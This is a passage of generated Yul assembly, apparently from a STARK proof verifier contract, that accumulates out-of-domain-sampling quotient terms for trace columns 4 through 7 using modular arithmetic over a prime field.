c_28*(f_4(x) - f_4(g * z)) / (x - g * z). res := add( res, mulmod(mulmod(/*(x - g * z)^(-1)*/ mload(add(denominatorsPtr, 0x20)), /*oods_coefficients[28]*/ mload(add(context, 0x5d40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[28]*/ mload(add(context, 0x4140)))), PRIME)) // res += c_29*(f_4(x) - f_4(g^192 * z)) / (x - g^192 * z). res := add( res, mulmod(mulmod(/*(x - g^192 * z)^(-1)*/ mload(add(denominatorsPtr, 0x6c0)), /*oods_coefficients[29]*/ mload(add(context, 0x5d60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[29]*/ mload(add(context, 0x4160)))), PRIME)) // res += c_30*(f_4(x) - f_4(g^193 * z)) / (x - g^193 * z). res := addmod( res, mulmod(mulmod(/*(x - g^193 * z)^(-1)*/ mload(add(denominatorsPtr, 0x6e0)), /*oods_coefficients[30]*/ mload(add(context, 0x5d80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[30]*/ mload(add(context, 0x4180)))), PRIME), PRIME) // res += c_31*(f_4(x) - f_4(g^196 * z)) / (x - g^196 * z). res := add( res, mulmod(mulmod(/*(x - g^196 * z)^(-1)*/ mload(add(denominatorsPtr, 0x720)), /*oods_coefficients[31]*/ mload(add(context, 0x5da0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[31]*/ mload(add(context, 0x41a0)))), PRIME)) // res += c_32*(f_4(x) - f_4(g^197 * z)) / (x - g^197 * z). res := add( res, mulmod(mulmod(/*(x - g^197 * z)^(-1)*/ mload(add(denominatorsPtr, 0x740)), /*oods_coefficients[32]*/ mload(add(context, 0x5dc0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[32]*/ mload(add(context, 0x41c0)))), PRIME)) // res += c_33*(f_4(x) - f_4(g^251 * z)) / (x - g^251 * z). res := add( res, mulmod(mulmod(/*(x - g^251 * z)^(-1)*/ mload(add(denominatorsPtr, 0x860)), /*oods_coefficients[33]*/ mload(add(context, 0x5de0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[33]*/ mload(add(context, 0x41e0)))), PRIME)) // res += c_34*(f_4(x) - f_4(g^252 * z)) / (x - g^252 * z). res := add( res, mulmod(mulmod(/*(x - g^252 * z)^(-1)*/ mload(add(denominatorsPtr, 0x880)), /*oods_coefficients[34]*/ mload(add(context, 0x5e00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[34]*/ mload(add(context, 0x4200)))), PRIME)) // res += c_35*(f_4(x) - f_4(g^256 * z)) / (x - g^256 * z). res := add( res, mulmod(mulmod(/*(x - g^256 * z)^(-1)*/ mload(add(denominatorsPtr, 0x8c0)), /*oods_coefficients[35]*/ mload(add(context, 0x5e20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[35]*/ mload(add(context, 0x4220)))), PRIME)) } // Mask items for column #5. { // Read the next element. let columnValue := mulmod(mload(add(traceQueryResponses, 0xa0)), kMontgomeryRInv, PRIME) // res += c_36*(f_5(x) - f_5(z)) / (x - z). res := add( res, mulmod(mulmod(/*(x - z)^(-1)*/ mload(denominatorsPtr), /*oods_coefficients[36]*/ mload(add(context, 0x5e40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[36]*/ mload(add(context, 0x4240)))), PRIME)) // res += c_37*(f_5(x) - f_5(g * z)) / (x - g * z). res := add( res, mulmod(mulmod(/*(x - g * z)^(-1)*/ mload(add(denominatorsPtr, 0x20)), /*oods_coefficients[37]*/ mload(add(context, 0x5e60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[37]*/ mload(add(context, 0x4260)))), PRIME)) // res += c_38*(f_5(x) - f_5(g^2 * z)) / (x - g^2 * z). res := add( res, mulmod(mulmod(/*(x - g^2 * z)^(-1)*/ mload(add(denominatorsPtr, 0x40)), /*oods_coefficients[38]*/ mload(add(context, 0x5e80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[38]*/ mload(add(context, 0x4280)))), PRIME)) // res += c_39*(f_5(x) - f_5(g^3 * z)) / (x - g^3 * z). res := add( res, mulmod(mulmod(/*(x - g^3 * z)^(-1)*/ mload(add(denominatorsPtr, 0x60)), /*oods_coefficients[39]*/ mload(add(context, 0x5ea0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[39]*/ mload(add(context, 0x42a0)))), PRIME)) // res += c_40*(f_5(x) - f_5(g^4 * z)) / (x - g^4 * z). res := add( res, mulmod(mulmod(/*(x - g^4 * z)^(-1)*/ mload(add(denominatorsPtr, 0x80)), /*oods_coefficients[40]*/ mload(add(context, 0x5ec0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[40]*/ mload(add(context, 0x42c0)))), PRIME)) // res += c_41*(f_5(x) - f_5(g^5 * z)) / (x - g^5 * z). res := add( res, mulmod(mulmod(/*(x - g^5 * z)^(-1)*/ mload(add(denominatorsPtr, 0xa0)), /*oods_coefficients[41]*/ mload(add(context, 0x5ee0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[41]*/ mload(add(context, 0x42e0)))), PRIME)) // res += c_42*(f_5(x) - f_5(g^6 * z)) / (x - g^6 * z). res := add( res, mulmod(mulmod(/*(x - g^6 * z)^(-1)*/ mload(add(denominatorsPtr, 0xc0)), /*oods_coefficients[42]*/ mload(add(context, 0x5f00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[42]*/ mload(add(context, 0x4300)))), PRIME)) // res += c_43*(f_5(x) - f_5(g^7 * z)) / (x - g^7 * z). res := add( res, mulmod(mulmod(/*(x - g^7 * z)^(-1)*/ mload(add(denominatorsPtr, 0xe0)), /*oods_coefficients[43]*/ mload(add(context, 0x5f20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[43]*/ mload(add(context, 0x4320)))), PRIME)) // res += c_44*(f_5(x) - f_5(g^8 * z)) / (x - g^8 * z). res := add( res, mulmod(mulmod(/*(x - g^8 * z)^(-1)*/ mload(add(denominatorsPtr, 0x100)), /*oods_coefficients[44]*/ mload(add(context, 0x5f40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[44]*/ mload(add(context, 0x4340)))), PRIME)) // res += c_45*(f_5(x) - f_5(g^9 * z)) / (x - g^9 * z). res := add( res, mulmod(mulmod(/*(x - g^9 * z)^(-1)*/ mload(add(denominatorsPtr, 0x120)), /*oods_coefficients[45]*/ mload(add(context, 0x5f60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[45]*/ mload(add(context, 0x4360)))), PRIME)) // res += c_46*(f_5(x) - f_5(g^12 * z)) / (x - g^12 * z). res := add( res, mulmod(mulmod(/*(x - g^12 * z)^(-1)*/ mload(add(denominatorsPtr, 0x180)), /*oods_coefficients[46]*/ mload(add(context, 0x5f80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[46]*/ mload(add(context, 0x4380)))), PRIME)) // res += c_47*(f_5(x) - f_5(g^13 * z)) / (x - g^13 * z). res := add( res, mulmod(mulmod(/*(x - g^13 * z)^(-1)*/ mload(add(denominatorsPtr, 0x1a0)), /*oods_coefficients[47]*/ mload(add(context, 0x5fa0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[47]*/ mload(add(context, 0x43a0)))), PRIME)) // res += c_48*(f_5(x) - f_5(g^16 * z)) / (x - g^16 * z). res := add( res, mulmod(mulmod(/*(x - g^16 * z)^(-1)*/ mload(add(denominatorsPtr, 0x200)), /*oods_coefficients[48]*/ mload(add(context, 0x5fc0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[48]*/ mload(add(context, 0x43c0)))), PRIME)) // res += c_49*(f_5(x) - f_5(g^70 * z)) / (x - g^70 * z). res := add( res, mulmod(mulmod(/*(x - g^70 * z)^(-1)*/ mload(add(denominatorsPtr, 0x420)), /*oods_coefficients[49]*/ mload(add(context, 0x5fe0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[49]*/ mload(add(context, 0x43e0)))), PRIME)) // res += c_50*(f_5(x) - f_5(g^71 * z)) / (x - g^71 * z). res := add( res, mulmod(mulmod(/*(x - g^71 * z)^(-1)*/ mload(add(denominatorsPtr, 0x440)), /*oods_coefficients[50]*/ mload(add(context, 0x6000)), PRIME), add(columnValue, sub(PRIME, /*oods_values[50]*/ mload(add(context, 0x4400)))), PRIME)) // res += c_51*(f_5(x) - f_5(g^134 * z)) / (x - g^134 * z). res := add( res, mulmod(mulmod(/*(x - g^134 * z)^(-1)*/ mload(add(denominatorsPtr, 0x5e0)), /*oods_coefficients[51]*/ mload(add(context, 0x6020)), PRIME), add(columnValue, sub(PRIME, /*oods_values[51]*/ mload(add(context, 0x4420)))), PRIME)) // res += c_52*(f_5(x) - f_5(g^135 * z)) / (x - g^135 * z). res := add( res, mulmod(mulmod(/*(x - g^135 * z)^(-1)*/ mload(add(denominatorsPtr, 0x600)), /*oods_coefficients[52]*/ mload(add(context, 0x6040)), PRIME), add(columnValue, sub(PRIME, /*oods_values[52]*/ mload(add(context, 0x4440)))), PRIME)) // res += c_53*(f_5(x) - f_5(g^198 * z)) / (x - g^198 * z). res := add( res, mulmod(mulmod(/*(x - g^198 * z)^(-1)*/ mload(add(denominatorsPtr, 0x760)), /*oods_coefficients[53]*/ mload(add(context, 0x6060)), PRIME), add(columnValue, sub(PRIME, /*oods_values[53]*/ mload(add(context, 0x4460)))), PRIME)) // res += c_54*(f_5(x) - f_5(g^199 * z)) / (x - g^199 * z). res := add( res, mulmod(mulmod(/*(x - g^199 * z)^(-1)*/ mload(add(denominatorsPtr, 0x780)), /*oods_coefficients[54]*/ mload(add(context, 0x6080)), PRIME), add(columnValue, sub(PRIME, /*oods_values[54]*/ mload(add(context, 0x4480)))), PRIME)) // res += c_55*(f_5(x) - f_5(g^262 * z)) / (x - g^262 * z). res := add( res, mulmod(mulmod(/*(x - g^262 * z)^(-1)*/ mload(add(denominatorsPtr, 0x900)), /*oods_coefficients[55]*/ mload(add(context, 0x60a0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[55]*/ mload(add(context, 0x44a0)))), PRIME)) // res += c_56*(f_5(x) - f_5(g^263 * z)) / (x - g^263 * z). res := add( res, mulmod(mulmod(/*(x - g^263 * z)^(-1)*/ mload(add(denominatorsPtr, 0x920)), /*oods_coefficients[56]*/ mload(add(context, 0x60c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[56]*/ mload(add(context, 0x44c0)))), PRIME)) // res += c_57*(f_5(x) - f_5(g^326 * z)) / (x - g^326 * z). res := add( res, mulmod(mulmod(/*(x - g^326 * z)^(-1)*/ mload(add(denominatorsPtr, 0x960)), /*oods_coefficients[57]*/ mload(add(context, 0x60e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[57]*/ mload(add(context, 0x44e0)))), PRIME)) // res += c_58*(f_5(x) - f_5(g^390 * z)) / (x - g^390 * z). res := add( res, mulmod(mulmod(/*(x - g^390 * z)^(-1)*/ mload(add(denominatorsPtr, 0x980)), /*oods_coefficients[58]*/ mload(add(context, 0x6100)), PRIME), add(columnValue, sub(PRIME, /*oods_values[58]*/ mload(add(context, 0x4500)))), PRIME)) // res += c_59*(f_5(x) - f_5(g^391 * z)) / (x - g^391 * z). res := add( res, mulmod(mulmod(/*(x - g^391 * z)^(-1)*/ mload(add(denominatorsPtr, 0x9a0)), /*oods_coefficients[59]*/ mload(add(context, 0x6120)), PRIME), add(columnValue, sub(PRIME, /*oods_values[59]*/ mload(add(context, 0x4520)))), PRIME)) // res += c_60*(f_5(x) - f_5(g^454 * z)) / (x - g^454 * z). res := add( res, mulmod(mulmod(/*(x - g^454 * z)^(-1)*/ mload(add(denominatorsPtr, 0x9c0)), /*oods_coefficients[60]*/ mload(add(context, 0x6140)), PRIME), add(columnValue, sub(PRIME, /*oods_values[60]*/ mload(add(context, 0x4540)))), PRIME)) // res += c_61*(f_5(x) - f_5(g^518 * z)) / (x - g^518 * z). res := addmod( res, mulmod(mulmod(/*(x - g^518 * z)^(-1)*/ mload(add(denominatorsPtr, 0xa20)), /*oods_coefficients[61]*/ mload(add(context, 0x6160)), PRIME), add(columnValue, sub(PRIME, /*oods_values[61]*/ mload(add(context, 0x4560)))), PRIME), PRIME) // res += c_62*(f_5(x) - f_5(g^711 * z)) / (x - g^711 * z). res := add( res, mulmod(mulmod(/*(x - g^711 * z)^(-1)*/ mload(add(denominatorsPtr, 0xa80)), /*oods_coefficients[62]*/ mload(add(context, 0x6180)), PRIME), add(columnValue, sub(PRIME, /*oods_values[62]*/ mload(add(context, 0x4580)))), PRIME)) // res += c_63*(f_5(x) - f_5(g^902 * z)) / (x - g^902 * z). res := add( res, mulmod(mulmod(/*(x - g^902 * z)^(-1)*/ mload(add(denominatorsPtr, 0xb40)), /*oods_coefficients[63]*/ mload(add(context, 0x61a0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[63]*/ mload(add(context, 0x45a0)))), PRIME)) // res += c_64*(f_5(x) - f_5(g^903 * z)) / (x - g^903 * z). res := add( res, mulmod(mulmod(/*(x - g^903 * z)^(-1)*/ mload(add(denominatorsPtr, 0xb60)), /*oods_coefficients[64]*/ mload(add(context, 0x61c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[64]*/ mload(add(context, 0x45c0)))), PRIME)) // res += c_65*(f_5(x) - f_5(g^966 * z)) / (x - g^966 * z). res := add( res, mulmod(mulmod(/*(x - g^966 * z)^(-1)*/ mload(add(denominatorsPtr, 0xba0)), /*oods_coefficients[65]*/ mload(add(context, 0x61e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[65]*/ mload(add(context, 0x45e0)))), PRIME)) // res += c_66*(f_5(x) - f_5(g^967 * z)) / (x - g^967 * z). res := add( res, mulmod(mulmod(/*(x - g^967 * z)^(-1)*/ mload(add(denominatorsPtr, 0xbc0)), /*oods_coefficients[66]*/ mload(add(context, 0x6200)), PRIME), add(columnValue, sub(PRIME, /*oods_values[66]*/ mload(add(context, 0x4600)))), PRIME)) // res += c_67*(f_5(x) - f_5(g^1222 * z)) / (x - g^1222 * z). res := add( res, mulmod(mulmod(/*(x - g^1222 * z)^(-1)*/ mload(add(denominatorsPtr, 0xc40)), /*oods_coefficients[67]*/ mload(add(context, 0x6220)), PRIME), add(columnValue, sub(PRIME, /*oods_values[67]*/ mload(add(context, 0x4620)))), PRIME)) // res += c_68*(f_5(x) - f_5(g^16774 * z)) / (x - g^16774 * z). res := add( res, mulmod(mulmod(/*(x - g^16774 * z)^(-1)*/ mload(add(denominatorsPtr, 0xd40)), /*oods_coefficients[68]*/ mload(add(context, 0x6240)), PRIME), add(columnValue, sub(PRIME, /*oods_values[68]*/ mload(add(context, 0x4640)))), PRIME)) // res += c_69*(f_5(x) - f_5(g^16775 * z)) / (x - g^16775 * z). res := add( res, mulmod(mulmod(/*(x - g^16775 * z)^(-1)*/ mload(add(denominatorsPtr, 0xd60)), /*oods_coefficients[69]*/ mload(add(context, 0x6260)), PRIME), add(columnValue, sub(PRIME, /*oods_values[69]*/ mload(add(context, 0x4660)))), PRIME)) // res += c_70*(f_5(x) - f_5(g^33158 * z)) / (x - g^33158 * z). res := add( res, mulmod(mulmod(/*(x - g^33158 * z)^(-1)*/ mload(add(denominatorsPtr, 0xe80)), /*oods_coefficients[70]*/ mload(add(context, 0x6280)), PRIME), add(columnValue, sub(PRIME, /*oods_values[70]*/ mload(add(context, 0x4680)))), PRIME)) } // Mask items for column #6. { // Read the next element. let columnValue := mulmod(mload(add(traceQueryResponses, 0xc0)), kMontgomeryRInv, PRIME) // res += c_71*(f_6(x) - f_6(z)) / (x - z). res := add( res, mulmod(mulmod(/*(x - z)^(-1)*/ mload(denominatorsPtr), /*oods_coefficients[71]*/ mload(add(context, 0x62a0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[71]*/ mload(add(context, 0x46a0)))), PRIME)) // res += c_72*(f_6(x) - f_6(g * z)) / (x - g * z). res := add( res, mulmod(mulmod(/*(x - g * z)^(-1)*/ mload(add(denominatorsPtr, 0x20)), /*oods_coefficients[72]*/ mload(add(context, 0x62c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[72]*/ mload(add(context, 0x46c0)))), PRIME)) // res += c_73*(f_6(x) - f_6(g^2 * z)) / (x - g^2 * z). res := add( res, mulmod(mulmod(/*(x - g^2 * z)^(-1)*/ mload(add(denominatorsPtr, 0x40)), /*oods_coefficients[73]*/ mload(add(context, 0x62e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[73]*/ mload(add(context, 0x46e0)))), PRIME)) // res += c_74*(f_6(x) - f_6(g^3 * z)) / (x - g^3 * z). res := add( res, mulmod(mulmod(/*(x - g^3 * z)^(-1)*/ mload(add(denominatorsPtr, 0x60)), /*oods_coefficients[74]*/ mload(add(context, 0x6300)), PRIME), add(columnValue, sub(PRIME, /*oods_values[74]*/ mload(add(context, 0x4700)))), PRIME)) } // Mask items for column #7. { // Read the next element. let columnValue := mulmod(mload(add(traceQueryResponses, 0xe0)), kMontgomeryRInv, PRIME) // res += c_75*(f_7(x) - f_7(z)) / (x - z). res := add( res, mulmod(mulmod(/*(x - z)^(-1)*/ mload(denominatorsPtr), /*oods_coefficients[75]*/ mload(add(context, 0x6320)), PRIME), add(columnValue, sub(PRIME, /*oods_values[75]*/ mload(add(context, 0x4720)))), PRIME)) // res += c_76*(f_7(x) - f_7(g * z)) / (x - g * z). res := add( res, mulmod(mulmod(/*(x - g * z)^(-1)*/ mload(add(denominatorsPtr, 0x20)), /*oods_coefficients[76]*/ mload(add(context, 0x6340)), PRIME), add(columnValue, sub(PRIME, /*oods_values[76]*/ mload(add(context, 0x4740)))), PRIME)) // res += c_77*(f_7(x) - f_7(g^2 * z)) / (x - g^2 * z). res := add( res, mulmod(mulmod(/*(x - g^2 * z)^(-1)*/ mload(add(denominatorsPtr, 0x40)), /*oods_coefficients[77]*/ mload(add(context, 0x6360)), PRIME), add(columnValue, sub(PRIME, /*oods_values[77]*/ mload(add(context, 0x4760)))), PRIME)) // res += c_78*(f_7(x) - f_7(g^3 * z)) / (x - g^3 * z). res := add( res, mulmod(mulmod(/*(x - g^3 * z)^(-1)*/ mload(add(denominatorsPtr, 0x60)), /*oods_coefficients[78]*/ mload(add(context, 0x6380)), PRIME), add(columnValue, sub(PRIME, /*oods_values[78]*/ mload(add(context, 0x4780)))), PRIME)) // res += c_79*(f_7(x) - f_7(g^4 * z)) / (x - g^4 * z). res := add( res, mulmod(mulmod(/*(x - g^4 * z)^(-1)*/ mload(add(denominatorsPtr, 0x80)), /*oods_coefficients[79]*/ mload(add(context, 0x63a0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[79]*/ mload(add(context, 0x47a0)))), PRIME)) // res += c_80*(f_7(x) - f_7(g^5 * z)) / (x - g^5 * z). res := add( res, mulmod(mulmod(/*(x - g^5 * z)^(-1)*/ mload(add(denominatorsPtr, 0xa0)), /*oods_coefficients[80]*/ mload(add(context, 0x63c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[80]*/ mload(add(context, 0x47c0)))), PRIME)) // res += c_81*(f_7(x) - f_7(g^6 * z)) / (x - g^6 * z). res := add( res, mulmod(mulmod(/*(x - g^6 * z)^(-1)*/ mload(add(denominatorsPtr, 0xc0)), /*oods_coefficients[81]*/ mload(add(context, 0x63e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[81]*/ mload(add(context, 0x47e0)))), PRIME)) // res += c_82*(f_7(x) - f_7(g^7 * z)) / (x - g^7 * z). res := add( res, mulmod(mulmod(/*(x - g^7 * z)^(-1)*/ mload(add(denominatorsPtr, 0xe0)), /*oods_coefficients[82]*/ mload(add(context, 0x6400)), PRIME), add(columnValue, sub(PRIME, /*oods_values[82]*/ mload(add(context, 0x4800)))), PRIME)) // res += c_83*(f_7(x) - f_7(g^8 * z)) / (x - g^8 * z). res := add( res, mulmod(mulmod(/*(x - g^8 * z)^(-1)*/ mload(add(denominatorsPtr, 0x100)), /*oods_coefficients[83]*/ mload(add(context, 0x6420)), PRIME), add(columnValue, sub(PRIME, /*oods_values[83]*/ mload(add(context, 0x4820)))), PRIME)) // res += c_84*(f_7(x) - f_7(g^9 * z)) / (x - g^9 * z). res := add( res, mulmod(mulmod(/*(x - g^9 * z)^(-1)*/ mload(add(denominatorsPtr, 0x120)), /*oods_coefficients[84]*/ mload(add(context, 0x6440)), PRIME), add(columnValue, sub(PRIME, /*oods_values[84]*/ mload(add(context, 0x4840)))), PRIME)) // res += c_85*(f_7(x) - f_7(g^11 * z)) / (x - g^11 * z). res := add( res, mulmod(mulmod(/*(x - g^11 * z)^(-1)*/ mload(add(denominatorsPtr, 0x160)), /*oods_coefficients[85]*/ mload(add(context, 0x6460)), PRIME), add(columnValue, sub(PRIME, /*oods_values[85]*/ mload(add(context, 0x4860)))), PRIME)) // res += c_86*(f_7(x) - f_7(g^12 * z)) / (x - g^12 * z). res := add( res, mulmod(mulmod(/*(x - g^12 * z)^(-1)*/ mload(add(denominatorsPtr, 0x180)), /*oods_coefficients[86]*/ mload(add(context, 0x6480)), PRIME), add(columnValue, sub(PRIME, /*oods_values[86]*/ mload(add(context, 0x4880)))), PRIME)) // res += c_87*(f_7(x) - f_7(g^13 * z)) / (x - g^13 * z). res := add( res, mulmod(mulmod(/*(x - g^13 * z)^(-1)*/ mload(add(denominatorsPtr, 0x1a0)), /*oods_coefficients[87]*/ mload(add(context, 0x64a0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[87]*/ mload(add(context, 0x48a0)))), PRIME)) // res += c_88*(f_7(x) - f_7(g^15 * z)) / (x - g^15 * z). res := add( res, mulmod(mulmod(/*(x - g^15 * z)^(-1)*/ mload(add(denominatorsPtr, 0x1e0)), /*oods_coefficients[88]*/ mload(add(context, 0x64c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[88]*/ mload(add(context, 0x48c0)))), PRIME)) // res += c_89*(f_7(x) - f_7(g^17 * z)) / (x - g^17 * z). res := add( res, mulmod(mulmod(/*(x - g^17 * z)^(-1)*/ mload(add(denominatorsPtr, 0x220)), /*oods_coefficients[89]*/ mload(add(context, 0x64e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[89]*/ mload(add(context, 0x48e0)))), PRIME)) // res += c_90*(f_7(x) - f_7(g^19 * z)) / (x - g^19 * z). res := add( res, mulmod(mulmod(/*(x - g^19 * z)^(-1)*/ mload(add(denominatorsPtr, 0x260)), /*oods_coefficients[90]*/ mload(add(context, 0x6500)), PRIME), add(columnValue, sub(PRIME, /*oods_values[90]*/ mload(add(context, 0x4900)))), PRIME)) // res += c_91*(f_7(x) - f_7(g^27 * z)) / (x - g^27 * z). res := add( res, mulmod(mulmod(/*(x - g^27 * z)^(-1)*/ mload(add(denominatorsPtr, 0x2a0)), /*oods_coefficients[91]*/ mload(add(context, 0x6520)), PRIME), add(columnValue, sub(PRIME, /*oods_values[91]*/ mload(add(context, 0x4920)))), PRIME)) // res += c_92*(f_7(x) - f_7(g^33 * z)) / (x - g^33 * z). res := addmod( res, mulmod(mulmod(/*(x - g^33 * z)^(-1)*/ mload(add(denominatorsPtr, 0x2e0)), /*oods_coefficients[92]*/ mload(add(context, 0x6540)), PRIME), add(columnValue, sub(PRIME, /*oods_values[92]*/ mload(add(context, 0x4940)))), PRIME), PRIME) // res += c_93*(f_7(x) - f_7(g^44 * z)) / (x - g^44 * z). res := add( res, mulmod(mulmod(/*(x - g^44 * z)^(-1)*/ mload(add(denominatorsPtr, 0x340)), /*oods_coefficients[93]*/ mload(add(context, 0x6560)), PRIME), add(columnValue, sub(PRIME, /*oods_values[93]*/ mload(add(context, 0x4960)))), PRIME)) // res += c_94*(f_7(x) - f_7(g^49 * z)) / (x - g^49 * z). res := add( res, mulmod(mulmod(/*(x - g^49 * z)^(-1)*/ mload(add(denominatorsPtr, 0x360)), /*oods_coefficients[94]*/ mload(add(context, 0x6580)), PRIME), add(columnValue, sub(PRIME, /*oods_values[94]*/ mload(add(context, 0x4980)))), PRIME)) // res += c_95*(f_7(x) - f_7(g^65 * z)) / (x - g^65 * z). res := add( res, mulmod(mulmod(/*(x - g^65 * z)^(-1)*/ mload(add(denominatorsPtr, 0x3c0)), /*oods_coefficients[95]*/ mload(add(context, 0x65a0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[95]*/ mload(add(context, 0x49a0)))), PRIME)) // res += c_96*(f_7(x) - f_7(g^76 * z)) / (x - g^76 * z). res := add( res, mulmod(mulmod(/*(x - g^76 * z)^(-1)*/ mload(add(denominatorsPtr, 0x460)), /*oods_coefficients[96]*/ mload(add(context, 0x65c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[96]*/ mload(add(context, 0x49c0)))), PRIME)) // res += c_97*(f_7(x) - f_7(g^81 * z)) / (x - g^81 * z). res := add( res, mulmod(mulmod(/*(x - g^81 * z)^(-1)*/ mload(add(denominatorsPtr, 0x480)), /*oods_coefficients[97]*/ mload(add(context, 0x65e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[97]*/ mload(add(context, 0x49e0)))), PRIME)) // res += c_98*(f_7(x) - f_7(g^97 * z)) / (x - g^97 * z). res := add( res, mulmod(mulmod(/*(x - g^97 * z)^(-1)*/ mload(add(denominatorsPtr, 0x4e0)), /*oods_coefficients[98]*/ mload(add(context, 0x6600)), PRIME), add(columnValue, sub(PRIME, /*oods_values[98]*/ mload(add(context, 0x4a00)))), PRIME)) // res += c_99*(f_7(x) - f_7(g^108 * z)) / (x - g^108 * z). res := add( res, mulmod(mulmod(/*(x - g^108 * z)^(-1)*/ mload(add(denominatorsPtr, 0x540)), /*oods_coefficients[99]*/ mload(add(context, 0x6620)), PRIME), add(columnValue, sub(PRIME, /*oods_values[99]*/ mload(add(context, 0x4a20)))), PRIME)) // res += c_100*(f_7(x) - f_7(g^113 * z)) / (x - g^113 * z). res := add( res, mulmod(mulmod(/*(x - g^113 * z)^(-1)*/ mload(add(denominatorsPtr, 0x560)), /*oods_coefficients[100]*/ mload(add(context, 0x6640)), PRIME), add(columnValue, sub(PRIME, /*oods_values[100]*/ mload(add(context, 0x4a40)))), PRIME)) // res += c_101*(f_7(x) - f_7(g^129 * z)) / (x - g^129 * z). res := add( res, mulmod(mulmod(/*(x - g^129 * z)^(-1)*/ mload(add(denominatorsPtr, 0x5a0)), /*oods_coefficients[101]*/ mload(add(context, 0x6660)), PRIME), add(columnValue, sub(PRIME, /*oods_values[101]*/ mload(add(context, 0x4a60)))), PRIME)) // res += c_102*(f_7(x) - f_7(g^140 * z)) / (x - g^140 * z). res := add( res, mulmod(mulmod(/*(x - g^140 * z)^(-1)*/ mload(add(denominatorsPtr, 0x620)), /*oods_coefficients[102]*/ mload(add(context, 0x6680)), PRIME), add(columnValue, sub(PRIME, /*oods_values[102]*/ mload(add(context, 0x4a80)))), PRIME)) // res += c_103*(f_7(x) - f_7(g^145 * z)) / (x - g^145 * z). res := add( res, mulmod(mulmod(/*(x - g^145 * z)^(-1)*/ mload(add(denominatorsPtr, 0x640)), /*oods_coefficients[103]*/ mload(add(context, 0x66a0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[103]*/ mload(add(context, 0x4aa0)))), PRIME)) // res += c_104*(f_7(x) - f_7(g^161 * z)) / (x - g^161 * z). res := add( res, mulmod(mulmod(/*(x - g^161 * z)^(-1)*/ mload(add(denominatorsPtr, 0x660)), /*oods_coefficients[104]*/ mload(add(context, 0x66c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[104]*/ mload(add(context, 0x4ac0)))), PRIME)) // res += c_105*(f_7(x) - f_7(g^172 * z)) / (x - g^172 * z). res := add( res, mulmod(mulmod(/*(x - g^172 * z)^(-1)*/ mload(add(denominatorsPtr, 0x680)), /*oods_coefficients[105]*/ mload(add(context, 0x66e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[105]*/ mload(add(context, 0x4ae0)))), PRIME)) // res += c_106*(f_7(x) - f_7(g^177 * z)) / (x - g^177 * z). res := add( res, mulmod(mulmod(/*(x - g^177 * z)^(-1)*/ mload(add(denominatorsPtr, 0x6a0)), /*oods_coefficients[106]*/ mload(add(context, 0x6700)), PRIME), add(columnValue, sub(PRIME, /*oods_values[106]*/ mload(add(context, 0x4b00)))), PRIME)) // res += c_107*(f_7(x) - f_7(g^193 * z)) / (x - g^193 * z). res := add( res, mulmod(mulmod(/*(x - g^193 * z)^(-1)*/ mload(add(denominatorsPtr, 0x6e0)), /*oods_coefficients[107]*/ mload(add(context, 0x6720)), PRIME), add(columnValue, sub(PRIME, /*oods_values[107]*/ mload(add(context, 0x4b20)))), PRIME)) // res += c_108*(f_7(x) - f_7(g^204 * z)) / (x - g^204 * z). res := add( res, mulmod(mulmod(/*(x - g^204 * z)^(-1)*/ mload(add(denominatorsPtr, 0x7a0)), /*oods_coefficients[108]*/ mload(add(context, 0x6740)), PRIME), add(columnValue, sub(PRIME, /*oods_values[108]*/ mload(add(context, 0x4b40)))), PRIME)) // res += c_109*(f_7(x) - f_7(g^209 * z)) / (x - g^209 * z). res := add( res, mulmod(mulmod(/*(x - g^209 * z)^(-1)*/ mload(add(denominatorsPtr, 0x7c0)), /*oods_coefficients[109]*/ mload(add(context, 0x6760)), PRIME), add(columnValue, sub(PRIME, /*oods_values[109]*/ mload(add(context, 0x4b60)))), PRIME)) // res += c_110*(f_7(x) - f_7(g^225 * z)) / (x - g^225 * z). res := add( res, mulmod(mulmod(/*(x - g^225 * z)^(-1)*/ mload(add(denominatorsPtr, 0x7e0)), /*oods_coefficients[110]*/ mload(add(context, 0x6780)), PRIME), add(columnValue, sub(PRIME, /*oods_values[110]*/ mload(add(context, 0x4b80)))), PRIME)) // res += c_111*(f_7(x) - f_7(g^236 * z)) / (x - g^236 * z). res := add( res, mulmod(mulmod(/*(x - g^236 * z)^(-1)*/ mload(add(denominatorsPtr, 0x820)), /*oods_coefficients[111]*/ mload(add(context, 